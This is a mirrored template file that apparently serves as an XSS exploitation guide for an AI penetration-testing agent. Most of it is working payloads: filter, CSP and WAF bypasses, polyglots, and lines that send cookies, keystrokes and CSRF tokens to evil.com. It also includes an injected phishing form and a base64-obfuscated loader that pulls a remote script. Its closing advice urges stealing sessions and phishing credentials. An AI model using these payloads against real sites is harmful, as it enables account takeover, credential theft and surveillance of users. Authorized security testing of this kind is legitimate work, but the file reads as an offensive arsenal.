mirror of
https://github.com/usestrix/strix.git
synced 2026-08-16 01:16:40 +02:00
222 lines
6.0 KiB
Django/Jinja
222 lines
6.0 KiB
Django/Jinja
<xss_vulnerability_guide>
|
|
<title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
|
|
|
|
<critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
|
|
|
|
<injection_points>
|
|
- URL parameters: ?search=, ?q=, ?name=
|
|
- Form inputs: text, textarea, hidden fields
|
|
- Headers: User-Agent, Referer, X-Forwarded-For
|
|
- Cookies (if reflected)
|
|
- File uploads (filename, metadata)
|
|
- JSON endpoints: {"user":"<payload>"}
|
|
- postMessage handlers
|
|
- DOM properties: location.hash, document.referrer
|
|
- WebSocket messages
|
|
- PDF/document generators
|
|
</injection_points>
|
|
|
|
<basic_detection>
|
|
<reflection_testing>
|
|
Simple: <random123>
|
|
HTML: <h1>test</h1>
|
|
Script: <script>alert(1)</script>
|
|
Event: <img src=x onerror=alert(1)>
|
|
Protocol: javascript:alert(1)
|
|
</reflection_testing>
|
|
|
|
<encoding_contexts>
|
|
- HTML: <>&"'
|
|
- Attribute: "'<>&
|
|
- JavaScript: "'\/\n\r\t
|
|
- URL: %3C%3E%22%27
|
|
- CSS: ()'";{}
|
|
</encoding_contexts>
|
|
</basic_detection>
|
|
|
|
<filter_bypasses>
|
|
<tag_event_bypasses>
|
|
<svg onload=alert(1)>
|
|
<body onpageshow=alert(1)>
|
|
<marquee onstart=alert(1)>
|
|
<details open ontoggle=alert(1)>
|
|
<audio src onloadstart=alert(1)>
|
|
<video><source onerror=alert(1)>
|
|
<select autofocus onfocus=alert(1)>
|
|
<textarea autofocus>/*</textarea><svg/onload=alert(1)>
|
|
<keygen autofocus onfocus=alert(1)>
|
|
<frameset onload=alert(1)>
|
|
</tag_event_bypasses>
|
|
|
|
<string_bypass>
|
|
- Concatenation: 'al'+'ert'
|
|
- Comments: /**/alert/**/
|
|
- Template literals: `ale${`rt`}`
|
|
- Unicode: \u0061lert
|
|
- Hex: \x61lert
|
|
- Octal: \141lert
|
|
- HTML entities: 'alert'
|
|
- Double encoding: %253Cscript%253E
|
|
- Case variation: <ScRiPt>
|
|
</string_bypass>
|
|
|
|
<parentheses_bypass>
|
|
alert`1`
|
|
setTimeout`alert\x281\x29`
|
|
[].map.call`1${alert}2`
|
|
onerror=alert;throw 1
|
|
onerror=alert,throw 1
|
|
onerror=alert(1)//
|
|
</parentheses_bypass>
|
|
|
|
<keyword_bypass>
|
|
- Proxy: window['al'+'ert']
|
|
- Base64: atob('YWxlcnQ=')
|
|
- Hex: eval('\x61\x6c\x65\x72\x74')
|
|
- Constructor: [].constructor.constructor('alert(1)')()
|
|
- JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
|
|
</keyword_bypass>
|
|
</filter_bypasses>
|
|
|
|
<advanced_techniques>
|
|
<dom_xss>
|
|
- Sinks: innerHTML, document.write, eval, setTimeout
|
|
- Sources: location.hash, location.search, document.referrer
|
|
- Example: element.innerHTML = location.hash
|
|
- Exploit: #<img src=x onerror=alert(1)>
|
|
</dom_xss>
|
|
|
|
<mutation_xss>
|
|
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
|
<form><button formaction=javascript:alert(1)>
|
|
</mutation_xss>
|
|
|
|
<polyglot_xss>
|
|
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
|
</polyglot_xss>
|
|
|
|
<csp_bypasses>
|
|
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
|
|
- AngularJS: {{constructor.constructor('alert(1)')()}}
|
|
- Script gadgets in allowed libraries
|
|
- Base tag injection: <base href="//evil.com/">
|
|
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
|
|
</csp_bypasses>
|
|
</advanced_techniques>
|
|
|
|
<exploitation_payloads>
|
|
<cookie_theft>
|
|
<script>fetch('//evil.com/steal?c='+document.cookie)</script>
|
|
<img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
|
|
new Image().src='//evil.com/steal?c='+document.cookie
|
|
</cookie_theft>
|
|
|
|
<keylogger>
|
|
document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
|
|
</keylogger>
|
|
|
|
<phishing>
|
|
document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
|
|
</phishing>
|
|
|
|
<csrf_token_theft>
|
|
fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
|
|
</csrf_token_theft>
|
|
|
|
<webcam_mic_access>
|
|
navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
|
|
</webcam_mic_access>
|
|
</exploitation_payloads>
|
|
|
|
<special_contexts>
|
|
<pdf_generation>
|
|
- JavaScript in links: <a href="javascript:app.alert(1)">
|
|
- Form actions: <form action="javascript:...">
|
|
</pdf_generation>
|
|
|
|
<email_clients>
|
|
- Limited tags: <a>, <img>, <style>
|
|
- CSS injection: <style>@import'//evil.com/css'</style>
|
|
</email_clients>
|
|
|
|
<markdown>
|
|
[Click](javascript:alert(1))
|
|
![a](x"onerror="alert(1))
|
|
</markdown>
|
|
|
|
<react_vue>
|
|
- dangerouslySetInnerHTML={{__html: payload}}
|
|
- v-html directive bypass
|
|
</react_vue>
|
|
|
|
<file_upload_xss>
|
|
- SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
|
|
- HTML files
|
|
- XML with XSLT
|
|
- MIME type confusion
|
|
</file_upload_xss>
|
|
</special_contexts>
|
|
|
|
<blind_xss>
|
|
<detection>
|
|
- Out-of-band callbacks
|
|
- Service workers for persistence
|
|
- Polyglot payloads for multiple contexts
|
|
</detection>
|
|
|
|
<payloads>
|
|
'"><script src=//evil.com/blindxss.js></script>
|
|
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
|
|
</payloads>
|
|
</blind_xss>
|
|
|
|
<waf_bypasses>
|
|
<encoding>
|
|
- HTML: <script>
|
|
- URL: %3Cscript%3E
|
|
- Unicode: \u003cscript\u003e
|
|
- Mixed: <scr\x69pt>
|
|
</encoding>
|
|
|
|
<obfuscation>
|
|
<a href="javascript:alert(1)">
|
|
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
|
|
<svg/onload=eval(atob('YWxlcnQoMSk='))>
|
|
</obfuscation>
|
|
|
|
<browser_bugs>
|
|
- Chrome: <svg><script>alert(1)
|
|
- Firefox specific payloads
|
|
- IE/Edge compatibility
|
|
</browser_bugs>
|
|
</waf_bypasses>
|
|
|
|
<impact_demonstration>
|
|
1. Account takeover via cookie/token theft
|
|
2. Defacement proof
|
|
3. Keylogging demonstration
|
|
4. Internal network scanning
|
|
5. Cryptocurrency miner injection
|
|
6. Phishing form injection
|
|
7. Browser exploit delivery
|
|
8. Session hijacking
|
|
9. CSRF attack chaining
|
|
10. Admin panel access
|
|
</impact_demonstration>
|
|
|
|
<pro_tips>
|
|
1. Test in all browsers - payloads vary
|
|
2. Check mobile versions - different parsers
|
|
3. Use automation for blind XSS
|
|
4. Chain with other vulnerabilities
|
|
5. Focus on impact, not just alert(1)
|
|
6. Test all input vectors systematically
|
|
7. Understand the context deeply
|
|
8. Keep payload library updated
|
|
9. Monitor CSP headers
|
|
10. Think beyond script tags
|
|
</pro_tips>
|
|
|
|
<remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
|
|
</xss_vulnerability_guide>
|